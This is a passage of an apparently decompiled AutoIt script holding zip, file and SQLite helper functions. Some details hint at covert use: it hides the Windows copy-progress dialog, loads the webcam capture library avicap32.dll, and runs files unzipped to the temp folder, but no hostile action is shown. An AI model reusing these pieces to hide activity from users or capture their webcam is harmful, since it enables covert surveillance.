  601.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
  602.     Local $sresult, $iubound = UBound($avarray) - 1
  603.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  604.     If $istart < 0 Then $istart = 0
  605.     If $istart > $iend Then Return SetError(2, 0, "")
  606.     For $i = $istart To $iend
  607.         $sresult &= $avarray[$i] & $sdelim
  608.     Next
  609.     Return StringTrimRight($sresult, StringLen($sdelim))
  610. EndFunc
  611.  
  612. If UBound($cmdline) > 1 Then
  613.     If $cmdline[1] <> "" Then _zip_virtualzipopen()
  614. EndIf
  615.  
  616. Func _zip_create($hfilename)
  617.     $hfp = FileOpen($hfilename, 26)
  618.     $sstring = Chr(80) & Chr(75) & Chr(5) & Chr(6) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0) & Chr(0)
  619.     FileWrite($hfp, $sstring)
  620.     If @error Then Return SetError(1, 0, 0)
  621.     FileClose($hfp)
  622.     While NOT FileExists($hfilename)
  623.         Sleep(10)
  624.     WEnd
  625.     Return $hfilename
  626. EndFunc
  627.  
  628. Func _zip_addfile($hzipfile, $hfile2add, $flag = 1)
  629.     Local $dllchk = _zip_dllchk()
  630.     Local $files = _zip_count($hzipfile)
  631.     If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  632.     If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  633.     If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
  634.     $oapp = ObjCreate("Shell.Application")
  635.     $copy = $oapp.namespace($hzipfile).copyhere($hfile2add)
  636.     While 1
  637.         If $flag = 1 Then _hide()
  638.         If _zip_count($hzipfile) = ($files + 1) Then ExitLoop
  639.         Sleep(10)
  640.     WEnd
  641.     Return SetError(0, 0, 1)
  642. EndFunc
  643.  
  644. Func _zip_addfolder($hzipfile, $hfolder, $flag = 1)
  645.     Local $dllchk = _zip_dllchk()
  646.     If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  647.     If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  648.     If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
  649.     If StringRight($hfolder, 1) <> "\" Then $hfolder &= "\"
  650.     $files = _zip_count($hzipfile)
  651.     $oapp = ObjCreate("Shell.Application")
  652.     $ocopy = $oapp.namespace($hzipfile).copyhere($oapp.namespace($hfolder))
  653.     While 1
  654.         If $flag = 1 Then _hide()
  655.         If _zip_count($hzipfile) = ($files + 1) Then ExitLoop
  656.         Sleep(10)
  657.     WEnd
  658.     Return SetError(0, 0, 1)
  659. EndFunc
  660.  
  661. Func _zip_unzip($hzipfile, $hfilename, $hdestpath, $flag = 1)
  662.     Local $dllchk = _zip_dllchk()
  663.     If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  664.     If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  665.     If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
  666.     If NOT FileExists($hdestpath) Then DirCreate($hdestpath)
  667.     $oapp = ObjCreate("Shell.Application")
  668.     $hfolderitem = $oapp.namespace($hzipfile).parsename($hfilename)
  669.     $oapp.namespace($hdestpath).copyhere($hfolderitem)
  670.     While 1
  671.         If $flag = 1 Then _hide()
  672.         If FileExists($hdestpath & "\" & $hfilename) Then
  673.             Return SetError(0, 0, 1)
  674.             ExitLoop
  675.         EndIf
  676.         Sleep(500)
  677.     WEnd
  678. EndFunc
  679.  
  680. Func _zip_count($hzipfile)
  681.     Local $dllchk = _zip_dllchk()
  682.     If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  683.     If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  684.     If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
  685.     $items = _zip_list($hzipfile)
  686.     Return UBound($items) - 1
  687. EndFunc
  688.  
  689. Func _zip_list($hzipfile)
  690.     Local $aarray[1]
  691.     Local $dllchk = _zip_dllchk()
  692.     If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
  693.     If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
  694.     If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
  695.     $oapp = ObjCreate("Shell.Application")
  696.     $hlist = $oapp.namespace($hzipfile).items
  697.     For $item In $hlist
  698.         _arrayadd($aarray, $item.name)
  699.     Next
  700.     $aarray[0] = UBound($aarray) - 1
  701.     Return $aarray
  702. EndFunc
  703.  
  704. Func _zip_virtualzipopen()
  705.     $zipsplit = StringSplit($cmdline[1], ",")
  706.     $zipname = $zipsplit[1]
  707.     $zipfile = $zipsplit[2]
  708.     _zip_unzip($zipname, $zipfile, @TempDir & "\", 4 + 16)
  709.     If @error Then Return SetError(@error, 0, 0)
  710.     ShellExecute(@TempDir & "\" & $zipfile)
  711. EndFunc
  712.  
  713. Func _zip_dllchk()
  714.     If NOT FileExists(@SystemDir & "\zipfldr.dll") Then Return 2
  715.     If NOT RegRead("HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}", "") Then Return 3
  716.     Return 0
  717. EndFunc
  718.  
  719. Func _isfullpath($path)
  720.     If StringInStr($path, ":\") Then
  721.         Return True
  722.     Else
  723.         Return False
  724.     EndIf
  725. EndFunc
  726.  
  727. Func _hide()
  728.     If ControlGetHandle("[CLASS:#32770]", "", "[CLASS:SysAnimate32; INSTANCE:1]") <> "" AND WinGetState("[CLASS:#32770]") <> @SW_HIDE Then
  729.         $hwnd = WinGetHandle("[CLASS:#32770]")
  730.         WinSetState($hwnd, "", @SW_HIDE)
  731.     EndIf
  732. EndFunc
  733.  
  734. Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
  735.     Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
  736.     $spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
  737.     If NOT FileExists($spath) Then Return SetError(1, 1, "")
  738.     If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
  739.     If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
  740.     $hsearch = FileFindFirstFile($spath & $sfilter)
  741.     If @error Then Return SetError(4, 4, "")
  742.     While 1
  743.         $sfile = FileFindNextFile($hsearch)
  744.         If @error Then ExitLoop
  745.         If ($iflag + @extended = 2) Then ContinueLoop
  746.         $sfilelist &= $sdelim & $sfile
  747.     WEnd
  748.     FileClose($hsearch)
  749.     If NOT $sfilelist Then Return SetError(4, 4, "")
  750.     Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
  751. EndFunc
  752.  
  753. Func _filereadtoarray($sfilepath, ByRef $aarray)
  754.     Local $hfile = FileOpen($sfilepath, $fo_read)
  755.     If $hfile = -1 Then Return SetError(1, 0, 0)
  756.     Local $afile = FileRead($hfile, FileGetSize($sfilepath))
  757.     If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
  758.     If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
  759.     FileClose($hfile)
  760.     If StringInStr($afile, @LF) Then
  761.         $aarray = StringSplit(StringStripCR($afile), @LF)
  762.     ElseIf StringInStr($afile, @CR) Then
  763.         $aarray = StringSplit($afile, @CR)
  764.     Else
  765.         If StringLen($afile) Then
  766.             Dim $aarray[2] = [1, $afile]
  767.         Else
  768.             Return SetError(2, 0, 0)
  769.         EndIf
  770.     EndIf
  771.     Return 1
  772. EndFunc
  773.  
  774. Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
  775.     If IsKeyword($s_fileprefix) Then $s_fileprefix = "~"
  776.     If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp"
  777.     If IsKeyword($i_randomlength) Then $i_randomlength = 7
  778.     If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
  779.     If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
  780.     If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
  781.     Local $s_tempname
  782.     Do
  783.         $s_tempname = ""
  784.         While StringLen($s_tempname) < $i_randomlength
  785.             $s_tempname = $s_tempname & Chr(Random(97, 122, 1))
  786.         WEnd
  787.         $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
  788.     Until NOT FileExists($s_tempname)
  789.     Return $s_tempname
  790. EndFunc
  791.  
  792. Global Const $ws_popup = -2147483648
  793. Global Const $ws_ex_dlgmodalframe = 1
  794. Global Const $ws_ex_toolwindow = 128
  795. Global Const $ws_ex_topmost = 8
  796. Global Const $wm_keydown = 256
  797. Global $wm_cap_start = 1024
  798. Local $avi = DllOpen("avicap32.dll")
  799. Local $wm_cap_user_dll = DllOpen("user32.dll")
  800. Global Const $em_scroll = 181
  801. Global Const $em_scrollcaret = 183
  802.  
  803. Func __udf_debugprint($stext, $iline = @ScriptLineNumber, $err = @error, $ext = @extended)
  804.     ConsoleWrite("!===========================================================" & @CRLF & "+======================================================" & @CRLF & "-->Line(" & StringFormat("%04d", $iline) & "):" & @TAB & $stext & @CRLF & "+======================================================" & @CRLF)
  805.     Return SetError($err, $ext, 1)
  806. EndFunc
  807.  
  808. Func __udf_validateclassname($hwnd, $sclassnames)
  809.     __udf_debugprint("This is for debugging only, set the debug variable to false before submitting")
  810.     If _winapi_isclassname($hwnd, $sclassnames) Then Return True
  811.     Local $sseparator = Opt("GUIDataSeparatorChar")
  812.     $sclassnames = StringReplace($sclassnames, $sseparator, ",")
  813.     __udf_debugprint("Invalid Class Type(s):" & @LF & @TAB & "Expecting Type(s): " & $sclassnames & @LF & @TAB & "Received Type : " & _winapi_getclassname($hwnd))
  814.     Exit
  815. EndFunc
  816.  
  817. Global $debug_ed = False
  818. Global Const $__editconstant_classname = "Edit"
  819. Global Const $__editconstant_sb_lineup = 0
  820. Global Const $__editconstant_sb_linedown = 1
  821. Global Const $__editconstant_sb_pagedown = 3
  822. Global Const $__editconstant_sb_pageup = 2
  823. Global Const $__editconstant_sb_scrollcaret = 4
  824.  
  825. Func _guictrledit_scroll($hwnd, $idirection)
  826.     If $debug_ed Then __udf_validateclassname($hwnd, $__editconstant_classname)
  827.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  828.     If BitAND($idirection, $__editconstant_sb_linedown) <> $__editconstant_sb_linedown AND BitAND($idirection, $__editconstant_sb_lineup) <> $__editconstant_sb_lineup AND BitAND($idirection, $__editconstant_sb_pagedown) <> $__editconstant_sb_pagedown AND BitAND($idirection, $__editconstant_sb_pageup) <> $__editconstant_sb_pageup AND BitAND($idirection, $__editconstant_sb_scrollcaret) <> $__editconstant_sb_scrollcaret Then Return 0
  829.     If $idirection == $__editconstant_sb_scrollcaret Then
  830.         Return _sendmessage($hwnd, $em_scrollcaret)
  831.     Else
  832.         Return _sendmessage($hwnd, $em_scroll, $idirection)
  833.     EndIf
  834. EndFunc
  835.  
  836. Global Const $sb_scrollcaret = 4
  837. #IgnoreFunc __SQLite_Inline_Version, __SQLite_Inline_Modified
  838. Global Const $sqlite_ok = 0
  839. Global Const $sqlite_error = 1
  840. Global Const $sqlite_abort = 4
  841. Global Const $sqlite_interrupt = 9
  842. Global Const $sqlite_corrupt = 11
  843. Global Const $sqlite_mismatch = 20
  844. Global Const $sqlite_misuse = 21
  845. Global Const $sqlite_row = 100
  846. Global Const $sqlite_done = 101
  847. Global Const $sqlite_open_readwrite = 2
  848. Global Const $sqlite_open_create = 4
  849. Global Const $sqlite_encoding_utf8 = 0
  850. Global Const $sqlite_type_blob = 4
  851. Global Const $sqlite_type_null = 5
  852. Global $g_hdll_sqlite = 0
  853. Global $g_hdb_sqlite = 0
  854. Global $g_butf8errormsg_sqlite = False
  855. Global $g_sprintcallback_sqlite = "__SQLite_ConsoleWrite"
  856. Global $__gbsafemodestate_sqlite = True
  857. Global $__ghdbs_sqlite[1] = [""]
  858. Global $__ghquerys_sqlite[1] = [""]
  859. Global $__ghmsvcrtdll_sqlite = 0
  860. Global $__gatempfiles_sqlite[1] = [""]
  861.  
  862. Func _sqlite_startup($sdll_filename = "", $butf8errormsg = False, $bforcelocal = 0, $sprintcallback = $g_sprintcallback_sqlite)
  863.     $g_sprintcallback_sqlite = $sprintcallback
  864.     If IsKeyword($butf8errormsg) Then $butf8errormsg = False
  865.     $g_butf8errormsg_sqlite = $butf8errormsg
  866.     If IsKeyword($sdll_filename) OR $bforcelocal OR $sdll_filename = "" OR $sdll_filename = -1 Then
  867.         Local $bdownloaddll = True
  868.         Local $vinlineversion = Call("__SQLite_Inline_Version")
  869.         If $bforcelocal Then
  870.             If @AutoItX64 AND StringInStr($sdll_filename, "_x64") Then $sdll_filename = StringReplace($sdll_filename, ".dll", "_x64.dll")
  871.             $bdownloaddll = ($bforcelocal < 0)
  872.         Else
  873.             If @AutoItX64 = 0 Then
  874.                 $sdll_filename = "sqlite3.dll"
  875.             Else
  876.                 $sdll_filename = "sqlite3_x64.dll"
  877.             EndIf
  878.             If @error Then $bdownloaddll = False
  879.             If __sqlite_verscmp(@ScriptDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
  880.                 $sdll_filename = @ScriptDir & "\" & $sdll_filename
  881.                 $bdownloaddll = False
  882.             ElseIf __sqlite_verscmp(@SystemDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
  883.                 $sdll_filename = @SystemDir & "\" & $sdll_filename
  884.                 $bdownloaddll = False
  885.             ElseIf __sqlite_verscmp(@WindowsDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
  886.                 $sdll_filename = @WindowsDir & "\" & $sdll_filename
  887.                 $bdownloaddll = False
  888.             ElseIf __sqlite_verscmp(@WorkingDir & "\" & $sdll_filename, $vinlineversion) = $sqlite_ok Then
  889.                 $sdll_filename = @WorkingDir & "\" & $sdll_filename
  890.                 $bdownloaddll = False
  891.             EndIf
  892.         EndIf
  893.         If $bdownloaddll Then
  894.             If FileExists($sdll_filename) OR $sdll_filename = "" Then
  895.                 $sdll_filename = _tempfile(@TempDir, "~", ".dll")
  896.                 _arrayadd($__gatempfiles_sqlite, $sdll_filename)
  897.                 OnAutoItExitRegister("_SQLite_Shutdown")
  898.             Else
  899.                 $sdll_filename = @SystemDir & "\" & $sdll_filename
  900.             EndIf
  901.             If $bforcelocal Then
  902.                 $vinlineversion = ""
  903.             Else
  904.                 $vinlineversion = "_" & $vinlineversion
  905.             EndIf
  906.             __sqlite_download_sqlite3dll($sdll_filename, $vinlineversion)
  907.         EndIf
  908.     EndIf
  909.     Local $hdll = DllOpen($sdll_filename)
  910.     If $hdll = -1 Then
  911.         $g_hdll_sqlite = 0
  912.         Return SetError(1, 0, "")
  913.     Else
  914.         $g_hdll_sqlite = $hdll
  915.         Return $sdll_filename
  916.     EndIf
  917. EndFunc
  918.  
  919. Func _sqlite_shutdown()
  920.     If $g_hdll_sqlite > 0 Then DllClose($g_hdll_sqlite)
  921.     $g_hdll_sqlite = 0
  922.     If $__ghmsvcrtdll_sqlite > 0 Then DllClose($__ghmsvcrtdll_sqlite)
  923.     $__ghmsvcrtdll_sqlite = 0
  924.     For $stempfile In $__gatempfiles_sqlite
  925.         If FileExists($stempfile) Then FileDelete($stempfile)
  926.     Next
  927.     OnAutoItExitUnRegister("_SQLite_Shutdown")
  928. EndFunc
  929.  
  930. Func _sqlite_open($sdatabase_filename = Default, $iaccessmode = Default, $iencoding = Default)
  931.     If NOT $g_hdll_sqlite Then Return SetError(3, $sqlite_misuse, 0)
  932.     If IsKeyword($sdatabase_filename) OR NOT IsString($sdatabase_filename) Then $sdatabase_filename = ":memory:"
  933.     Local $tfilename = __sqlite_stringtoutf8struct($sdatabase_filename)
  934.     If @error Then Return SetError(2, @error, 0)
  935.     If IsKeyword($iaccessmode) Then $iaccessmode = BitOR($sqlite_open_readwrite, $sqlite_open_create)
  936.     Local $oldbase = FileExists($sdatabase_filename)
  937.     If IsKeyword($iencoding) Then
  938.         $iencoding = $sqlite_encoding_utf8
  939.     EndIf
  940.     Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_open_v2", "struct*", $tfilename, "long*", 0, "int", $iaccessmode, "ptr", 0)
  941.     If @error Then Return SetError(1, @error, 0)
  942.     If $avrval[0] <> $sqlite_ok Then
  943.         __sqlite_reporterror($avrval[2], "_SQLite_Open")
  944.         _sqlite_close($avrval[2])
  945.         Return SetError(-1, $avrval[0], 0)
  946.     EndIf
  947.     $g_hdb_sqlite = $avrval[2]
  948.     __sqlite_hadd($__ghdbs_sqlite, $avrval[2])
  949.     If NOT $oldbase Then
  950.         Local $encoding[3] = ["8", "16", "16be"]
  951.         _sqlite_exec($avrval[2], 'PRAGMA encoding="UTF-' & $encoding[$iencoding] & '";')
  952.     EndIf
  953.     Return SetExtended($avrval[0], $avrval[2])
  954. EndFunc
  955.  
  956. Func _sqlite_exec($hdb, $ssql, $scallback = "")
  957.     If __sqlite_hchk($hdb, 2) Then Return SetError(@error, 0, $sqlite_misuse)
  958.     If $scallback <> "" Then
  959.         Local $irows, $icolumns
  960.         Local $aresult = "SQLITE_CALLBACK:" & $scallback
  961.         Local $irval = _sqlite_gettable2d($hdb, $ssql, $aresult, $irows, $icolumns)
  962.         If @error Then Return SetError(3, @error, $irval)
  963.         Return $irval
  964.     EndIf
  965.     Local $tsql8 = __sqlite_stringtoutf8struct($ssql)
  966.     If @error Then Return SetError(4, @error, 0)
  967.     Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_exec", "ptr", $hdb, "struct*", $tsql8, "ptr", 0, "ptr", 0, "long*", 0)
  968.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  969.     __sqlite_szfree($avrval[5])
  970.     If $avrval[0] <> $sqlite_ok Then
  971.         __sqlite_reporterror($hdb, "_SQLite_Exec", $ssql)
  972.         SetError(-1)
  973.     EndIf
  974.     Return $avrval[0]
  975. EndFunc
  976.  
  977. Func _sqlite_errmsg($hdb = -1)
  978.     If __sqlite_hchk($hdb, 2) Then Return SetError(@error, @extended, "Library used incorrectly")
  979.     Local $r = DllCall($g_hdll_sqlite, "wstr:cdecl", "sqlite3_errmsg16", "ptr", $hdb)
  980.     If @error Then
  981.         __sqlite_reporterror($hdb, "_SQLite_ErrMsg", Default, "Call Failed")
  982.         Return SetError(1, @error, "Library used incorrectly")
  983.     EndIf
  984.     Return $r[0]
  985. EndFunc
  986.  
  987. Func _sqlite_gettable2d($hdb, $ssql, ByRef $aresult, ByRef $irows, ByRef $icolumns, $icharsize = -1, $fswichdimensions = False)
  988.     If __sqlite_hchk($hdb, 1) Then Return SetError(@error, 0, $sqlite_misuse)
  989.     If $icharsize = "" OR $icharsize < 1 OR IsKeyword($icharsize) Then $icharsize = -1
  990.     Local $scallback = "", $fcallback = False
  991.     If IsString($aresult) Then
  992.         If StringLeft($aresult, 16) = "SQLITE_CALLBACK:" Then
  993.             $scallback = StringTrimLeft($aresult, 16)
  994.             $fcallback = True
  995.         EndIf
  996.     EndIf
  997.     $aresult = ""
  998.     If IsKeyword($fswichdimensions) Then $fswichdimensions = False
  999.     Local $hquery
  1000.     Local $r = _sqlite_query($hdb, $ssql, $hquery)
  1001.     If @error Then Return SetError(2, @error, $r)
  1002.     If $r <> $sqlite_ok Then
  1003.         __sqlite_reporterror($hdb, "_SQLite_GetTable2d", $ssql)
  1004.         _sqlite_queryfinalize($hquery)
  1005.         Return SetError(-1, 0, $r)
  1006.     EndIf
  1007.     $irows = 0
  1008.     Local $irval_step, $err
  1009.     While True
  1010.         $irval_step = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_step", "ptr", $hquery)
  1011.         If @error Then
  1012.             $err = @error
  1013.             _sqlite_queryfinalize($hquery)
  1014.             Return SetError(3, $err, $sqlite_misuse)
  1015.         EndIf
  1016.         Switch $irval_step[0]
  1017.             Case $sqlite_row
  1018.                 $irows += 1
  1019.             Case $sqlite_done
  1020.                 ExitLoop
  1021.             Case Else
  1022.                 _sqlite_queryfinalize($hquery)
  1023.                 Return SetError(3, $err, $irval_step[0])
  1024.         EndSwitch
  1025.     WEnd
  1026.     Local $ret = _sqlite_queryreset($hquery)
  1027.     If @error Then
  1028.         $err = @error
  1029.         _sqlite_queryfinalize($hquery)
  1030.         Return SetError(4, $err, $ret)
  1031.     EndIf
  1032.     Local $adatarow
  1033.     $r = _sqlite_fetchnames($hquery, $adatarow)
  1034.     If @error Then
  1035.         $err = @error
  1036.         _sqlite_queryfinalize($hquery)
  1037.         Return SetError(5, $err, $r)
  1038.     EndIf
  1039.     $icolumns = UBound($adatarow)
  1040.     If $icolumns <= 0 Then
  1041.         _sqlite_queryfinalize($hquery)
  1042.         Return SetError(-1, 0, $sqlite_done)
  1043.     EndIf
  1044.     If NOT $fcallback Then
  1045.         If $fswichdimensions Then
  1046.             Dim $aresult[$icolumns][$irows + 1]
  1047.             For $i = 0 To $icolumns - 1
  1048.                 If $icharsize > 0 Then
  1049.                     $adatarow[$i] = StringLeft($adatarow[$i], $icharsize)
  1050.                 EndIf
  1051.                 $aresult[$i][0] = $adatarow[$i]
  1052.             Next
  1053.         Else
  1054.             Dim $aresult[$irows + 1][$icolumns]
  1055.             For $i = 0 To $icolumns - 1
  1056.                 If $icharsize > 0 Then
  1057.                     $adatarow[$i] = StringLeft($adatarow[$i], $icharsize)
  1058.                 EndIf
  1059.                 $aresult[0][$i] = $adatarow[$i]
  1060.             Next
  1061.         EndIf
  1062.     Else
  1063.         Local $icbrval
  1064.         $icbrval = Call($scallback, $adatarow)
  1065.         If $icbrval = $sqlite_abort OR $icbrval = $sqlite_interrupt OR @error Then
  1066.             $err = @error
  1067.             _sqlite_queryfinalize($hquery)
  1068.             Return SetError(7, $err, $icbrval)
  1069.         EndIf
  1070.     EndIf
  1071.     If $irows > 0 Then
  1072.         For $i = 1 To $irows
  1073.             $r = _sqlite_fetchdata($hquery, $adatarow, 0, 0, $icolumns)
  1074.             If @error Then
  1075.                 $err = @error
  1076.                 _sqlite_queryfinalize($hquery)
  1077.                 Return SetError(6, $err, $r)
  1078.             EndIf
  1079.             If $fcallback Then
  1080.                 $icbrval = Call($scallback, $adatarow)
  1081.                 If $icbrval = $sqlite_abort OR $icbrval = $sqlite_interrupt OR @error Then
  1082.                     $err = @error
  1083.                     _sqlite_queryfinalize($hquery)
  1084.                     Return SetError(7, $err, $icbrval)
  1085.                 EndIf
  1086.             Else
  1087.                 For $j = 0 To $icolumns - 1
  1088.                     If $icharsize > 0 Then
  1089.                         $adatarow[$j] = StringLeft($adatarow[$j], $icharsize)
  1090.                     EndIf
  1091.                     If $fswichdimensions Then
  1092.                         $aresult[$j][$i] = $adatarow[$j]
  1093.                     Else
  1094.                         $aresult[$i][$j] = $adatarow[$j]
  1095.                     EndIf
  1096.                 Next
  1097.             EndIf
  1098.         Next
  1099.     EndIf
  1100.     Return (_sqlite_queryfinalize($hquery))
  1101. EndFunc
  1102.  
  1103. Func _sqlite_query($hdb, $ssql, ByRef $hquery)
  1104.     If __sqlite_hchk($hdb, 2) Then Return SetError(@error, 0, $sqlite_misuse)
  1105.     Local $irval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_prepare16_v2", "ptr", $hdb, "wstr", $ssql, "int", -1, "long*", 0, "long*", 0)
  1106.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  1107.     If $irval[0] <> $sqlite_ok Then
  1108.         __sqlite_reporterror($hdb, "_SQLite_Query", $ssql)
  1109.         Return SetError(-1, 0, $irval[0])
  1110.     EndIf
  1111.     $hquery = $irval[4]
  1112.     __sqlite_hadd($__ghquerys_sqlite, $irval[4])
  1113.     Return $irval[0]
  1114. EndFunc
  1115.  
  1116. Func _sqlite_fetchdata($hquery, ByRef $arow, $fbinary = False, $fdonotfinalize = False, $icolumns = 0)
  1117.     Dim $arow[1]
  1118.     If __sqlite_hchk($hquery, 7, False) Then Return SetError(@error, 0, $sqlite_misuse)
  1119.     If IsKeyword($fbinary) Then $fbinary = False
  1120.     If IsKeyword($fdonotfinalize) Then $fdonotfinalize = False
  1121.     Local $irval_step = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_step", "ptr", $hquery)
  1122.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  1123.     If $irval_step[0] <> $sqlite_row Then
  1124.         If $fdonotfinalize = False AND $irval_step[0] = $sqlite_done Then
  1125.             _sqlite_queryfinalize($hquery)
  1126.         EndIf
  1127.         Return SetError(-1, 0, $irval_step[0])
  1128.     EndIf
  1129.     If NOT $icolumns Then
  1130.         Local $irval_colcnt = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_data_count", "ptr", $hquery)
  1131.         If @error Then Return SetError(2, @error, $sqlite_misuse)
  1132.         If $irval_colcnt[0] <= 0 Then Return SetError(-1, 0, $sqlite_done)
  1133.         $icolumns = $irval_colcnt[0]
  1134.     EndIf
  1135.     ReDim $arow[$icolumns]
  1136.     For $i = 0 To $icolumns - 1
  1137.         Local $irval_coltype = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_column_type", "ptr", $hquery, "int", $i)
  1138.         If @error Then Return SetError(4, @error, $sqlite_misuse)
  1139.         If $irval_coltype[0] = $sqlite_type_null Then
  1140.             $arow[$i] = ""
  1141.             ContinueLoop
  1142.         EndIf
  1143.         If (NOT $fbinary) AND ($irval_coltype[0] <> $sqlite_type_blob) Then
  1144.             Local $srval = DllCall($g_hdll_sqlite, "wstr:cdecl", "sqlite3_column_text16", "ptr", $hquery, "int", $i)
  1145.             If @error Then Return SetError(3, @error, $sqlite_misuse)
  1146.             $arow[$i] = $srval[0]
  1147.         Else
  1148.             Local $vresult = DllCall($g_hdll_sqlite, "ptr:cdecl", "sqlite3_column_blob", "ptr", $hquery, "int", $i)
  1149.             If @error Then Return SetError(6, @error, $sqlite_misuse)
  1150.             Local $icolbytes = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_column_bytes", "ptr", $hquery, "int", $i)
  1151.             If @error Then Return SetError(5, @error, $sqlite_misuse)
  1152.             Local $vresultstruct = DllStructCreate("byte[" & $icolbytes[0] & "]", $vresult[0])
  1153.             $arow[$i] = Binary(DllStructGetData($vresultstruct, 1))
  1154.         EndIf
  1155.     Next
  1156.     Return $sqlite_ok
  1157. EndFunc
  1158.  
  1159. Func _sqlite_close($hdb = -1)
  1160.     If __sqlite_hchk($hdb, 2) Then Return SetError(@error, 0, $sqlite_misuse)
  1161.     Local $irval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_close", "ptr", $hdb)
  1162.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  1163.     If $irval[0] <> $sqlite_ok Then
  1164.         __sqlite_reporterror($hdb, "_SQLite_Close")
  1165.         Return SetError(-1, 0, $irval[0])
  1166.     EndIf
  1167.     $g_hdb_sqlite = 0
  1168.     __sqlite_hdel($__ghdbs_sqlite, $hdb)
  1169.     Return $irval[0]
  1170. EndFunc
  1171.  
  1172. Func _sqlite_queryfinalize($hquery)
  1173.     If __sqlite_hchk($hquery, 2, False) Then Return SetError(@error, 0, $sqlite_misuse)
  1174.     Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_finalize", "ptr", $hquery)
  1175.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  1176.     __sqlite_hdel($__ghquerys_sqlite, $hquery)
  1177.     If $avrval[0] <> $sqlite_ok Then SetError(-1)
  1178.     Return $avrval[0]
  1179. EndFunc
  1180.  
  1181. Func _sqlite_queryreset($hquery)
  1182.     If __sqlite_hchk($hquery, 2, False) Then Return SetError(@error, 0, $sqlite_misuse)
  1183.     Local $avrval = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_reset", "ptr", $hquery)
  1184.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  1185.     If $avrval[0] <> $sqlite_ok Then SetError(-1)
  1186.     Return $avrval[0]
  1187. EndFunc
  1188.  
  1189. Func _sqlite_fetchnames($hquery, ByRef $anames)
  1190.     Dim $anames[1]
  1191.     If __sqlite_hchk($hquery, 3, False) Then Return SetError(@error, 0, $sqlite_misuse)
  1192.     Local $avdatacnt = DllCall($g_hdll_sqlite, "int:cdecl", "sqlite3_column_count", "ptr", $hquery)
  1193.     If @error Then Return SetError(1, @error, $sqlite_misuse)
  1194.     If $avdatacnt[0] <= 0 Then Return SetError(-1, 0, $sqlite_done)
  1195.     ReDim $anames[$avdatacnt[0]]
  1196.     Local $avcolname
  1197.     For $icnt = 0 To $avdatacnt[0] - 1
  1198.         $avcolname = DllCall($g_hdll_sqlite, "wstr:cdecl", "sqlite3_column_name16", "ptr", $hquery, "int", $icnt)
  1199.         If @error Then Return SetError(2, @error, $sqlite_misuse)
  1200.         $anames[$icnt] = $avcolname[0]
  1201.     Next
  1202.     Return $sqlite_ok
  1203. EndFunc
  1204.  
  1205. Func __sqlite_hchk(ByRef $hgeneric, $nerror, $bdb = True)
  1206.     If $g_hdll_sqlite = 0 Then Return SetError(1, $sqlite_misuse, $sqlite_misuse)
  1207.     If $hgeneric = -1 OR $hgeneric = "" OR IsKeyword($hgeneric) Then
  1208.         If NOT $bdb Then Return SetError($nerror, 0, $sqlite_error)
  1209.         $hgeneric = $g_hdb_sqlite
  1210.     EndIf
  1211.     If NOT $__gbsafemodestate_sqlite Then Return $sqlite_ok
  1212.     If $bdb Then
  1213.         If _arraysearch($__ghdbs_sqlite, $hgeneric) > 0 Then Return $sqlite_ok
  1214.     Else
